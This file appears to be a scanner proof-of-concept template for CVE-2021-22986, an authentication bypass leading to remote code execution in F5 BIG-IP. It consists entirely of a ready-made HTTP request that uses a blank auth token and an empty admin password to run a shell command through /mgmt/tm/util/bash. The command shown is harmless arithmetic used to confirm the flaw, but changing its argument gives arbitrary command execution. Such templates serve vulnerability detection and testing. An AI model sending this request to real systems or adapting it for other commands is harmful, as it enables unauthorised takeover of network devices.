f5-cve-2021-22986.yml

name: poc-yaml-f5-cve-2021-22986
manual: true
transport: http
set:
    r1: randomInt(800000000, 1000000000)
    r2: randomInt(800000000, 1000000000)
rules:
    r0:
        request:
            cache: true
            method: POST
            path: /mgmt/tm/util/bash
            headers:
                Authorization: Basic YWRtaW46
                Content-Type: application/json
                X-F5-Auth-Token: ' '
            body: '{"command":"run","utilCmdArgs":"-c ''expr {{r1}} + {{r2}}''"}'
            follow_redirects: false
        expression: response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
expression: r0()
detail:
    author: Hex
    links:
        - https://support.f5.com/csp/article/K03009991